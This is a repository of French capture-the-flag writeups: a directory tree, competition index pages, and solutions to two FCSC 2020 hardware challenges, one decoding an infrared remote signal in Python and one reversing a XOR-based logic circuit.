├── 2020 ├── FCSC │ ├── README.md │ └── hardware │ │ ├── NECessIR │ │ ├── README.md │ │ ├── audacity.png │ │ ├── decode-signal.py │ │ ├── enonce.png │ │ ├── ir-signal.raw │ │ └── ir-signal.wav │ │ └── Quarantaine │ │ ├── README.md │ │ ├── circuit.pdf │ │ ├── enonce.png │ │ └── sketch.png └── H2G2 │ ├── README.md │ ├── crypto │ ├── decryptor.md │ ├── public.pem │ ├── sage1.md │ └── secret │ ├── forensic │ ├── Confidential.jpg │ ├── Confidential.pdf │ ├── exfiltration.md │ ├── exfiltration.pcapng │ ├── flag.txt │ └── ping_pong.md │ ├── misc │ ├── DNA.md │ ├── bases.md │ └── site.png │ └── web │ ├── dedeos.md │ └── shrug.md ├── 2021 ├── ECW │ ├── README.md │ ├── forensics │ │ ├── CONFIDENTIAL.pdf │ │ ├── ECW_chall_JBV.pcapng │ │ ├── Logs │ │ │ ├── Application.evtx │ │ │ ├── HardwareEvents.evtx │ │ │ ├── Internet Explorer.evtx │ │ │ ├── Key Management Service.evtx │ │ │ ├── Microsoft-Client-Licensing-Platform%4Admin.evtx │ │ │ ├── Microsoft-Windows-AAD%4Operational.evtx │ │ │ ├── Microsoft-Windows-AppModel-Runtime%4Admin.evtx │ │ │ ├── Microsoft-Windows-AppReadiness%4Admin.evtx │ │ │ ├── Microsoft-Windows-AppReadiness%4Operational.evtx │ │ │ ├── Microsoft-Windows-AppXDeployment%4Operational.evtx │ │ │ ├── Microsoft-Windows-AppXDeploymentServer%4Operational.evtx │ │ │ ├── Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx │ │ │ ├── Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx │ │ │ ├── Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx │ │ │ ├── Microsoft-Windows-Application-Experience%4Program-Inventory.evtx │ │ │ ├── Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx │ │ │ ├── Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx │ │ │ ├── Microsoft-Windows-AppxPackaging%4Operational.evtx │ │ │ ├── Microsoft-Windows-Authentication User Interface%4Operational.evtx │ │ │ ├── Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx │ │ │ ├── Microsoft-Windows-Biometrics%4Operational.evtx │ │ │ ├── Microsoft-Windows-Bits-Client%4Operational.evtx │ │ │ ├── Microsoft-Windows-CloudStore%4Operational.evtx │ │ │ ├── Microsoft-Windows-CodeIntegrity%4Operational.evtx │ │ │ ├── Microsoft-Windows-Containers-Wcifs%4Operational.evtx │ │ │ ├── Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx │ │ │ ├── Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx │ │ │ ├── Microsoft-Windows-Crypto-DPAPI%4Operational.evtx │ │ │ ├── Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx │ │ │ ├── Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Operational.evtx │ │ │ ├── Microsoft-Windows-DeviceSetupManager%4Admin.evtx │ │ │ ├── Microsoft-Windows-DeviceSetupManager%4Operational.evtx │ │ │ ├── Microsoft-Windows-Dhcp-Client%4Admin.evtx │ │ │ ├── Microsoft-Windows-Dhcpv6-Client%4Admin.evtx │ │ │ ├── Microsoft-Windows-Diagnosis-DPS%4Operational.evtx │ │ │ ├── Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx │ │ │ ├── Microsoft-Windows-Diagnostics-Performance%4Operational.evtx │ │ │ ├── Microsoft-Windows-FileHistory-Core%4WHC.evtx │ │ │ ├── Microsoft-Windows-GroupPolicy%4Operational.evtx │ │ │ ├── Microsoft-Windows-HelloForBusiness%4Operational.evtx │ │ │ ├── Microsoft-Windows-HotspotAuth%4Operational.evtx │ │ │ ├── Microsoft-Windows-International%4Operational.evtx │ │ │ ├── Microsoft-Windows-Kernel-Boot%4Operational.evtx │ │ │ ├── Microsoft-Windows-Kernel-EventTracing%4Admin.evtx │ │ │ ├── Microsoft-Windows-Kernel-PnP%4Configuration.evtx │ │ │ ├── Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx │ │ │ ├── Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx │ │ │ ├── Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx │ │ │ ├── Microsoft-Windows-Kernel-WHEA%4Errors.evtx │ │ │ ├── Microsoft-Windows-Kernel-WHEA%4Operational.evtx │ │ │ ├── Microsoft-Windows-Known Folders API Service.evtx │ │ │ ├── Microsoft-Windows-LanguagePackSetup%4Operational.evtx │ │ │ ├── Microsoft-Windows-LiveId%4Operational.evtx │ │ │ ├── Microsoft-Windows-MUI%4Admin.evtx │ │ │ ├── Microsoft-Windows-MUI%4Operational.evtx │ │ │ ├── Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Admin.evtx │ │ │ ├── Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Autopilot.evtx │ │ │ ├── Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4ManagementService.evtx │ │ │ ├── Microsoft-Windows-NCSI%4Operational.evtx │ │ │ ├── Microsoft-Windows-NetworkProfile%4Operational.evtx │ │ │ ├── Microsoft-Windows-Ntfs%4Operational.evtx │ │ │ ├── Microsoft-Windows-Ntfs%4WHC.evtx │ │ │ ├── Microsoft-Windows-Partition%4Diagnostic.evtx │ │ │ ├── Microsoft-Windows-PowerShell%4Admin.evtx │ │ │ ├── Microsoft-Windows-PowerShell%4Operational.evtx │ │ │ ├── Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx │ │ │ ├── Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx │ │ │ ├── Microsoft-Windows-Provisioning-Diagnostics-Provider%4AutoPilot.evtx │ │ │ ├── Microsoft-Windows-Provisioning-Diagnostics-Provider%4ManagementService.evtx │ │ │ ├── Microsoft-Windows-PushNotification-Platform%4Admin.evtx │ │ │ ├── Microsoft-Windows-PushNotification-Platform%4Operational.evtx │ │ │ ├── Microsoft-Windows-ReadyBoost%4Operational.evtx │ │ │ ├── Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx │ │ │ ├── Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx │ │ │ ├── Microsoft-Windows-RestartManager%4Operational.evtx │ │ │ ├── Microsoft-Windows-SMBClient%4Operational.evtx │ │ │ ├── Microsoft-Windows-SMBServer%4Audit.evtx │ │ │ ├── Microsoft-Windows-SMBServer%4Connectivity.evtx │ │ │ ├── Microsoft-Windows-SMBServer%4Operational.evtx │ │ │ ├── Microsoft-Windows-SMBServer%4Security.evtx │ │ │ ├── Microsoft-Windows-Security-LessPrivilegedAppContainer%4Operational.evtx │ │ │ ├── Microsoft-Windows-Security-Mitigations%4KernelMode.evtx │ │ │ ├── Microsoft-Windows-Security-Mitigations%4UserMode.evtx │ │ │ ├── Microsoft-Windows-Security-SPP-UX-Notifications%4ActionCenter.evtx │ │ │ ├── Microsoft-Windows-SettingSync%4Debug.evtx │ │ │ ├── Microsoft-Windows-SettingSync%4Operational.evtx │ │ │ ├── Microsoft-Windows-Shell-ConnectedAccountState%4ActionCenter.evtx │ │ │ ├── Microsoft-Windows-Shell-Core%4ActionCenter.evtx │ │ │ ├── Microsoft-Windows-Shell-Core%4AppDefaults.evtx │ │ │ ├── Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx │ │ │ ├── Microsoft-Windows-Shell-Core%4Operational.evtx │ │ │ ├── Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx │ │ │ ├── Microsoft-Windows-SmbClient%4Audit.evtx │ │ │ ├── Microsoft-Windows-SmbClient%4Connectivity.evtx │ │ │ ├── Microsoft-Windows-SmbClient%4Security.evtx │ │ │ ├── Microsoft-Windows-StateRepository%4Operational.evtx │ │ │ ├── Microsoft-Windows-StateRepository%4Restricted.evtx │ │ │ ├── Microsoft-Windows-Storage-ClassPnP%4Operational.evtx │ │ │ ├── Microsoft-Windows-Storage-Storport%4Health.evtx │ │ │ ├── Microsoft-Windows-Storage-Storport%4Operational.evtx │ │ │ ├── Microsoft-Windows-StorageSpaces-ManagementAgent%4WHC.evtx │ │ │ ├── Microsoft-Windows-Store%4Operational.evtx │ │ │ ├── Microsoft-Windows-Storsvc%4Diagnostic.evtx │ │ │ ├── Microsoft-Windows-TWinUI%4Operational.evtx │ │ │ ├── Microsoft-Windows-TaskScheduler%4Maintenance.evtx │ │ │ ├── Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx │ │ │ ├── Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx │ │ │ ├── Microsoft-Windows-Time-Service%4Operational.evtx │ │ │ ├── Microsoft-Windows-UniversalTelemetryClient%4Operational.evtx │ │ │ ├── Microsoft-Windows-User Device Registration%4Admin.evtx │ │ │ ├── Microsoft-Windows-User Profile Service%4Operational.evtx │ │ │ ├── Microsoft-Windows-UserPnp%4ActionCenter.evtx │ │ │ ├── Microsoft-Windows-UserPnp%4DeviceInstall.evtx │ │ │ ├── Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx │ │ │ ├── Microsoft-Windows-WER-PayloadHealth%4Operational.evtx │ │ │ ├── Microsoft-Windows-WMI-Activity%4Operational.evtx │ │ │ ├── Microsoft-Windows-WPD-ClassInstaller%4Operational.evtx │ │ │ ├── Microsoft-Windows-Wcmsvc%4Operational.evtx │ │ │ ├── Microsoft-Windows-WebAuthN%4Operational.evtx │ │ │ ├── Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx │ │ │ ├── Microsoft-Windows-WinRM%4Operational.evtx │ │ │ ├── Microsoft-Windows-Windows Defender%4Operational.evtx │ │ │ ├── Microsoft-Windows-Windows Defender%4WHC.evtx │ │ │ ├── Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx │ │ │ ├── Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx │ │ │ ├── Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx │ │ │ ├── Microsoft-Windows-WindowsBackup%4ActionCenter.evtx │ │ │ ├── Microsoft-Windows-WindowsUpdateClient%4Operational.evtx │ │ │ ├── Microsoft-Windows-Winlogon%4Operational.evtx │ │ │ ├── Microsoft-Windows-WorkFolders%4WHC.evtx │ │ │ ├── OAlerts.evtx │ │ │ ├── Parameters.evtx │ │ │ ├── Security.evtx │ │ │ ├── Setup.evtx │ │ │ ├── State.evtx │ │ │ ├── System.evtx │ │ │ ├── Windows PowerShell.evtx │ │ │ └── microsoft-windows-diagnosis-scripted%4operational.evtx │ │ ├── NightlyPlanet.md │ │ ├── ResponseTeam.md │ │ ├── lite.pcapng │ │ ├── rt1 │ │ │ ├── Readme.txt │ │ │ └── access.log │ │ └── solve.py │ └── pentest │ │ ├── RedTeam.md │ │ └── redteam │ │ └── notes.txt ├── FCSC │ ├── README.md │ ├── crypto │ │ └── rsa-destroyer │ │ │ ├── README.md │ │ │ ├── output.txt │ │ │ └── rsa_destroyer.py │ ├── forensic │ │ └── malware1 │ │ │ └── README.md │ ├── hardware │ │ ├── BABA │ │ │ ├── Figure_1.png │ │ │ ├── Figure_2.png │ │ │ └── README.md │ │ └── phase-a-phase │ │ │ ├── Figure_1.png │ │ │ ├── README.md │ │ │ ├── bpsk.gif │ │ │ └── challenge.iq │ ├── misc │ │ ├── privesec_me1 │ │ │ └── README.md │ │ ├── ventriglisse │ │ │ ├── README.md │ │ │ ├── final.py │ │ │ ├── maze.png │ │ │ ├── maze_final.png │ │ │ └── solve.py │ │ └── whois │ │ │ ├── README.md │ │ │ ├── screen.png │ │ │ └── screen2.png │ └── reverse │ │ └── jakarta │ │ ├── Jakarta.apk │ │ ├── README.md │ │ └── jadx.png └── phack │ ├── README.md │ ├── forensic │ ├── TranscodedWallpaper.jpg │ ├── android.md │ ├── chall.zip │ ├── git.md │ └── piraterie.md │ ├── misc │ ├── amazing.md │ ├── data.zip │ └── qrcode.md │ ├── reseau │ ├── dump.pcapng │ ├── dump2.pcapng │ ├── nom-domaine.md │ ├── ping-pong.md │ ├── portes-ouvertes.md │ ├── sublime-text.gif │ ├── tenet.md │ ├── tenet.pcapng │ └── thief.md │ ├── reverse │ ├── no-stings │ └── nostrings.md │ ├── stegano │ ├── aliens.md │ ├── alter_egg-o.md │ ├── altered.png │ ├── altered2.png │ ├── audacity.gif │ ├── caumunikassion.md │ ├── phack_white.png │ └── weird.wav │ ├── systeme │ ├── graduated.md │ ├── sudoku-v2.md │ ├── sudoku.md │ └── to-be-or-not.md │ └── web │ └── phactory.md ├── 2022 ├── FCSC │ ├── README.md │ ├── challenges.png │ ├── crypto │ │ ├── hashish │ │ │ ├── README.md │ │ │ └── hashish.py │ │ └── shuffled │ │ │ ├── README.md │ │ │ ├── output.txt │ │ │ └── shuffled.py │ ├── forensics │ │ ├── a_lancienne │ │ │ ├── README.md │ │ │ ├── cap │ │ │ └── file3_crop.png │ │ ├── c3po │ │ │ ├── README.md │ │ │ └── flag.png │ │ └── echec_op │ │ │ └── README.md │ ├── hardware │ │ ├── daddy_morse │ │ │ ├── README.md │ │ │ ├── client.py │ │ │ ├── diff.png │ │ │ ├── enonce.png │ │ │ ├── server.py │ │ │ ├── signal.iq │ │ │ ├── signal.png │ │ │ ├── signal2.iq │ │ │ ├── workflow.png │ │ │ └── workflow2.png │ │ ├── i2c │ │ │ ├── README.md │ │ │ ├── capture.vcd │ │ │ └── gtkwave.png │ │ ├── mommy_morse │ │ │ ├── README.md │ │ │ ├── client.py │ │ │ ├── enonce.png │ │ │ ├── out.iq │ │ │ ├── server.py │ │ │ ├── signal.iq │ │ │ ├── signal.png │ │ │ ├── solve.py │ │ │ ├── worflow.png │ │ │ └── workflow.grc │ │ ├── qui_est_ce │ │ │ ├── README.md │ │ │ ├── circuit.pdf │ │ │ ├── enonce.png │ │ │ └── extrait.png │ │ └── xfactor │ │ │ ├── notes.txt │ │ │ └── solve.py │ ├── matrice_junior.png │ ├── misc │ │ └── guessme2 │ │ │ ├── README.md │ │ │ └── guessmetoo.py │ ├── side_channel │ │ ├── nscnm │ │ │ ├── README.md │ │ │ ├── nscnm.py │ │ │ ├── slide1.png │ │ │ └── slide2.png │ │ └── nscns │ │ │ ├── README.md │ │ │ ├── nscns.py │ │ │ └── solve.py │ ├── top100_general.png │ ├── top100_junior.png │ └── top3_categories.png ├── dghack │ ├── README.md │ └── detection │ │ └── piratecraft │ │ ├── Exploit.java │ │ ├── Exploit84686564564857543.class │ │ ├── README.md │ │ ├── Solve.java │ │ ├── cap.pcap │ │ ├── image-20221110122739596.png │ │ ├── image-20221110124643515.png │ │ ├── image-20221110143932122.png │ │ ├── image-20221116171431906.png │ │ └── poc.pcapng └── interiut │ ├── README.md │ ├── forensics │ ├── README.md │ ├── image-20220515145942879.png │ ├── image-20220515151720063.png │ ├── image-20220515152334399.png │ ├── image-20220515160319964.png │ ├── image-20220515163851506.png │ └── image-20220515174903972.png │ ├── image-20220521183334291.png │ └── image-20220521185017527.png ├── 2024 ├── breizhctf │ └── mobile │ │ └── ownapp │ │ ├── README.md │ │ ├── image-1.png │ │ ├── image-2.png │ │ ├── image-3.png │ │ ├── image-4.png │ │ ├── image.png │ │ └── ownapp.apk └── htb_univ │ └── forensics_signaling-victorious │ ├── README.md │ └── assets │ ├── image-20241215181811526.png │ ├── image-20241215182134323.png │ ├── image-20241215182405766.png │ ├── image-20241215182740124.png │ ├── image-20241215183100123.png │ ├── image-20241215183552789.png │ ├── image-20241215183836783.png │ ├── image-20241215185845638.png │ ├── image-20241215190801010.png │ ├── image-20241215191822053.png │ ├── image-20241215191957427.png │ ├── image-20241215192417004.png │ ├── image-20241215193603387.png │ ├── image-20241215194027198.png │ ├── image-20241215194218975.png │ ├── image-20241215195244276.png │ ├── image-20241215200443817.png │ ├── image-20241215201011315.png │ ├── image-20241215201230387.png │ ├── image-20241215201813864.png │ ├── image-20241215202035230.png │ ├── image-20241215202042977.png │ └── image-20241215203829680.png └── README.md /2020/FCSC/README.md: -------------------------------------------------------------------------------- 1 | # France Cybersecurity Challenge 2020 2 | 3 | Le FCSC est organisé tous les ans par l'ANSSI pour sélectionner les membres qui composeront l'équipe de France lors l'European Cybersecurity Challenge (ECSC). 4 | 5 | ### hardware 6 | * [Quarantaine - 25 pts](./hardware/Quarantaine/) 7 | * [NECessIR - 44 pts](./hardware/NECessIR/) 8 | -------------------------------------------------------------------------------- /2020/FCSC/hardware/NECessIR/README.md: -------------------------------------------------------------------------------- 1 | # NECessIR - 44 pts - 76 solves 2 | 3 | Voici l'énoncé : 4 | 5 | ![Vous avez trouvé une télécommande infrarouge étrange dans une décharge. Visiblement, celle-ci a été modifiée par son précédent propriétaire. Curieux, vous avez enregistré le signal avec votre carte son et une vieille photodiode. Pour l'enregistrement, voici la commande tapée : `arecord -D hw:1 -r192000 -t raw -f S16_BE -c1 ir-signal.raw`. Pouvez-vous en extraire quelque chose ?](./enonce.png "énoncé") 6 | 7 | Commençons par faire des recherches sur les télécommandes infra-rouges. On tombe rapidement sur [ce site](https://www.electroschematics.com/ir-decoder-encoder-part-1/). L'explication est très claire : la LED IR s'allume 9 ms (c'est le *burst*) pour dire qu'elle va commencer puis fait une pause de 4,5 ms avant l'envoi des données bit par bit. Le bit est défini par la distance temporelle entre deux pulsions. Une distance de 1,125 ms correspond a un `0` et une distance de 2,25 ms sorrespond à un `1`. 8 | 9 | Essayons donc d'ouvrir le fichier. On ouvre Audacity et dans le menu `Fichier` on choisit `Importer` puis `Données brutes (Raw)`. Ensuite on sélectionne notre fichier. Pour choisir les bonnes options il faut regarder la commande `arecord`. Un petit `man arecord` nous indique que `-r192000` signifie que le taux d'échantillonage est de 192 000 Hz, `-c1` signifie que le son est mono (un seul canal) et `S16_BE` désigne des entiers signés 16 bits encodés en [big-endian](https://fr.wikipedia.org/wiki/Boutisme). 10 | 11 | On obtient alors un signal composé de 4 *blocs*. En zoomant sur le début du premier bloc, on voit qu'il commence bien par un *burst* puis est constitué de pics espacés par une distance non constante. 12 | 13 | ![signal audacity](./audacity.png "Début du signal") 14 | 15 | Exportons le fichier en `.wav` pour l'analyser en Python. 16 | 17 | ```Python 18 | import scipy.io.wavfile 19 | 20 | _, data = scipy.io.wavfile.read('ir-signal.wav') 21 | rate = 192 # f/ms 22 | ``` 23 | 24 | Le tableau `data` contient des entiers allant de -30000 à 30000 environ. Commençons par mesurer la durée du burst. Le principe consiste à faire une moyenne glissante des valeurs absolues de 5 entiers puis de voir si cette moyenne est supérieure à 100 pour savoir si on a un signal ou non. 25 | 26 | ```Python 27 | offset = 0 28 | moy = 1000 29 | while moy > 100: 30 | moy = 0 31 | for i in range(5) : moy += abs(data[offset+i]) 32 | moy /= 5 33 | offset += 5 34 | 35 | print("burst de", offset/rate, "ms") 36 | ``` 37 | Ce qui donne `burst de 8.958333333333334 ms`. Cela correspond aux 9 ms du site. 38 | 39 | Faisons une boucle qui affiche le temps entre chaque signal. 40 | 41 | ```Python 42 | offset = 0 43 | while True : 44 | print () 45 | delta = 0 46 | moy = 1000 47 | while moy > 100: 48 | moy = 0 49 | for i in range(5) : moy += abs(data[offset+delta+i]) 50 | moy /= 5 51 | delta += 5 52 | 53 | print("pic de", round(delta/rate, 1), "ms") 54 | 55 | offset += delta 56 | 57 | delta = 0 58 | moy = 0 59 | while moy < 100: 60 | moy = 0 61 | for i in range(5) : moy += abs(data[offset+delta+i]) 62 | moy /= 5 63 | delta += 5 64 | 65 | print("pause de", round(delta/rate, 1), "ms") 66 | 67 | offset += delta 68 | ``` 69 | 70 | On obtient : 71 | ``` 72 | pic de 9.0 ms 73 | pause de 4.4 ms 74 | 75 | pic de 0.6 ms 76 | pause de 0.5 ms 77 | 78 | pic de 0.6 ms 79 | pause de 1.7 ms 80 | 81 | pic de 0.6 ms 82 | pause de 0.5 ms 83 | 84 | pic de 0.6 ms 85 | pause de 0.5 ms 86 | 87 | pic de 0.6 ms 88 | pause de 0.5 ms 89 | 90 | pic de 0.6 ms 91 | pause de 1.7 ms 92 | 93 | pic de 0.6 ms 94 | pause de 1.6 ms 95 | ``` 96 | et ainsi de suite... 97 | 98 | Après le burst, la longueur des pics est constante mais la pause varie de 0,5 ms à 1,7 ms. Cela diffère de ce qu'on attendait mais on nous dit bien que la télécommande a été modifiée. 99 | 100 | Ne reste plus qu'à créer une variable qui va contenir les bits selon le temps de pause et qui va analyser les quatres blocs. Le programme final est disponible ici : [decode-signal.py](./decode-signal.py). Et il affiche bien le flag ! 101 | -------------------------------------------------------------------------------- /2020/FCSC/hardware/NECessIR/audacity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/NECessIR/audacity.png -------------------------------------------------------------------------------- /2020/FCSC/hardware/NECessIR/decode-signal.py: -------------------------------------------------------------------------------- 1 | import scipy.io.wavfile 2 | 3 | _, data = scipy.io.wavfile.read('ir-signal.wav') 4 | rate = 192 # f/ms 5 | 6 | offset = 0 7 | 8 | for _ in range(4) : 9 | delta = 0 10 | moy = 1000 11 | while moy > 100: 12 | moy = 0 13 | for i in range(5) : moy += abs(data[offset+delta+i]) 14 | moy /= 5 15 | delta += 5 16 | 17 | print ("burst de", round(delta/rate, 2), "ms (", offset, offset+delta, ")") 18 | 19 | offset += delta 20 | delta = 0 21 | moy = 0 22 | while moy < 100: 23 | moy = 0 24 | for i in range(5) : moy += abs(data[offset+delta+i]) 25 | moy /= 5 26 | delta += 5 27 | 28 | #print ("pause de", round(delta/rate, 2), "ms (", offset, offset+delta, ")") 29 | 30 | offset += delta 31 | bits = "0" 32 | while True : 33 | delta = 0 34 | moy = 1000 35 | while moy > 100: 36 | moy = 0 37 | for i in range(5) : moy += abs(data[offset+delta+i]) 38 | moy /= 5 39 | delta += 5 40 | 41 | t1 = round(delta/rate, 2) 42 | #print (" pic de ", t1, "ms (", offset, offset+delta, ")") 43 | 44 | offset += delta 45 | 46 | delta = 0 47 | moy = 0 48 | while moy < 100: 49 | if offset+delta+5 > len(data): 50 | break 51 | moy = 0 52 | for i in range(5) : moy += abs(data[offset+delta+i]) 53 | moy /= 5 54 | delta += 5 55 | 56 | t2 = round(delta/rate, 2) 57 | #print ("pause de", t2, "ms (", offset, offset+delta, ")") 58 | 59 | if 0.4 <= t1 <= 0.6: 60 | if 0.4 <= t2 <= 0.6 : 61 | bits += "0" 62 | elif 1.5 <= t2 <= 1.7 : 63 | bits += "1" 64 | 65 | elif 1.1 <= t1 <= 1.2 : 66 | print (int(bits, base=2).to_bytes(len(bits)//8, byteorder='big').decode()) 67 | bits = "" 68 | offset += delta 69 | break 70 | 71 | offset += delta 72 | -------------------------------------------------------------------------------- /2020/FCSC/hardware/NECessIR/enonce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/NECessIR/enonce.png -------------------------------------------------------------------------------- /2020/FCSC/hardware/NECessIR/ir-signal.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/NECessIR/ir-signal.raw -------------------------------------------------------------------------------- /2020/FCSC/hardware/NECessIR/ir-signal.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/NECessIR/ir-signal.wav -------------------------------------------------------------------------------- /2020/FCSC/hardware/Quarantaine/README.md: -------------------------------------------------------------------------------- 1 | # Quarantaine - 25 pts - 157 solves 2 | 3 | Voici l'énoncé : 4 | 5 | ![Un de vos collègues a trouvé ce schéma de circuit électronique (circuit.pdf) dans une notice d'un produit et vous demande de l'aide pour le comprendre. La notice mentionne une fonction f appliquée à des nombres entiers, et donne un exemple f(19) = 581889079277. Votre collègue a besoin de trouver x tel que f(x) = 454088092903.](./enonce.png "énoncé") 6 | 7 | Je vais utiliser un outil en ligne pour convertir le PDF en JPG et je vais l'analyser avec... GIMP pour pouvoir faire des points de couleur. 8 | 9 | Ce circuit paraît à première vue très complexe : 40 entrées, 40 sorties et plein de portes compliquées. Mais on se rend vite compte que c'est le même bloc qui est copié partout. Après un rapide tour sur [Wikipedia](https://fr.wikipedia.org/wiki/Fonction_logique#Repr%C3%A9sentation_graphique) pour me remémorer les symboles, je fais la table de vérité du bloc récurent à droite. Il n'y a que deux entrées dont 4 combinaisons à tester, cela va vite avec GIMP et mes points rouges et bleus. On obtient la table de vérité suivante : 10 | | e0 | e1 | s0 | 11 | |:--:|:--:|:--:| 12 | | 0 | 0 | 0 | 13 | | 0 | 1 | 1 | 14 | | 1 | 0 | 1 | 15 | | 1 | 1 | 0 | 16 | 17 | On peut donc simplifier ce gros bloc par un simple XOR ! 18 | 19 | On répète l'opération avec le bloc récurent à gauche (qui lui a deux sorties) et l'on obtient cela : 20 | | e0 | e1 | s0 | s1 | 21 | |:--:|:--:|:--:|:--:| 22 | | 0 | 0 | 0 | 0 | 23 | | 0 | 1 | 1 | 0 | 24 | | 1 | 0 | 0 | 1 | 25 | | 1 | 1 | 1 | 1 | 26 | 27 | Cela revient donc simplement à croiser les fils ! 28 | 29 | Le circuit est grandement simplifié mais il faut remarquer autre chose. 30 | 31 | On constate que `x0` est xoré à lui-même. Cela fait donc forcément `0` ! On peut donc compléter une bonne partie du circuit qui est constante. Voici un gribouiboui qui résumé le début (rouge pour les `1` et bleu pour les `0`) : 32 | ![schéma](./sketch.png "énoncé") 33 | 34 | 35 | Ensuite, le bloc en `x39` est presque identique au bloc récurent de droite mais sans l'inverseur final, c'est donc un NXOR. `x39 NXOR x39` cela fait forcément `1` donc on peut de nouveau compléter tout ce qui est lié au fil sortant de ce bloc. 36 | 37 | On se rend compte que des inverseurs sont répartis le long de ces fils à valeur constante ce qui fait qu'un signal constant entre dans chaque XOR à droite. Et cela fait comme une clé que l'on XOR aux bits de `x` mais après les avoir légèrement mélanger. Cela fait : 38 | 39 | ``` 40 | y0 = x0 ^ 0 41 | y1 = x2 ^ 0 42 | y2 = x1 ^ 0 43 | y3 = x4 ^ 0 44 | y4 = x3 ^ 0 45 | y5 = x6 ^ 1 46 | y6 = x5 ^ 1 47 | y7 = x8 ^ 1 48 | y8 = x7 ^ 1 49 | y9 = x10 ^ 1 50 | y10 = x9 ^ 1 51 | ``` 52 | 53 | On pourrait continuer ainsi mais c'est long et chiant donc on va faire un script. 54 | 55 | La clé constante est `0000011111101101010100101101111011100001`, de haut en bas. Le script simulant tout le circuit est donc : 56 | ```Python 57 | x = [int(b) for b in "{:040b}".format(int(input("> ")))[::-1]] 58 | y = [int(b) for b in "0"*40] 59 | 60 | key = [int(b) for b in "0000011111101101010100101101111011100001"] 61 | 62 | for i in range(40): 63 | if i == 0 or i == 39 : 64 | y[i] = x[i] ^ key[i] 65 | elif i%2 == 0: 66 | y[i] = x[i-1] ^ key[i] 67 | else: 68 | y[i] = x[i+1] ^ key[i] 69 | 70 | print(int("".join([str(i) for i in y])[::-1], base=2)) 71 | ``` 72 | 73 | On peut essayer et l'on retrouve bien `f(19) = 581889079277` ! 74 | 75 | Il ne reste plus qu'à faire un script qui fait le processus à l'envers : 76 | ```Python 77 | y = [int(b) for b in "{:040b}".format(int(input("> ")))[::-1]] 78 | x = [int(b) for b in "0"*40] 79 | 80 | key = [int(b) for b in "0000011111101101010100101101111011100001"] 81 | 82 | for i in range(40): 83 | if i == 0 or i == 39 : 84 | x[i] = y[i] ^ key[i] 85 | elif i%2 == 0: 86 | x[i] = y[i-1] ^ key[i-1] 87 | else: 88 | x[i] = y[i+1] ^ key[i+1] 89 | 90 | print(int("".join([str(i) for i in x])[::-1], base=2)) 91 | ``` 92 | 93 | Et ça marche ! 94 | 95 | -------------------------------------------------------------------------------- /2020/FCSC/hardware/Quarantaine/circuit.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/Quarantaine/circuit.pdf -------------------------------------------------------------------------------- /2020/FCSC/hardware/Quarantaine/enonce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/Quarantaine/enonce.png -------------------------------------------------------------------------------- /2020/FCSC/hardware/Quarantaine/sketch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/FCSC/hardware/Quarantaine/sketch.png -------------------------------------------------------------------------------- /2020/H2G2/README.md: -------------------------------------------------------------------------------- 1 | # Hack2G2 2020 - CTF InterIUT 2 | 3 | 4 | 5 | Hack2G2 est une association montée par les étudiants de l'ENSIBS et de l'IUT informatique de Vannes. Ils organisent tous les ans un CTF destiné aux étudiants qui débutent en cyber-sécurité. 6 | 7 | ### Forensic 8 | 9 | * [Exfiltration 1, 2 et 3 - 350 pts](./forensic/exfiltration.md) 10 | 11 | ### Misc 12 | 13 | * [D.N.A. - 20 pts](./misc/DNA.md) 14 | * [1110011 1100001 1101100 1110101 1110100 - 20 pts](./misc/bases.md) 15 | 16 | ### Crypto 17 | 18 | - [Le SAGE doré - 20 pts](./crypto/sage1.md) 19 | - [Decryptor - 50 pts](./crypto/decryptor.md) 20 | 21 | ### Web 22 | 23 | - [DéDéOS 1, 2 et 3 - 80 pts](./web/dedeos.md) 24 | - [:shrug: - 20 pts](./web/shrug.md) -------------------------------------------------------------------------------- 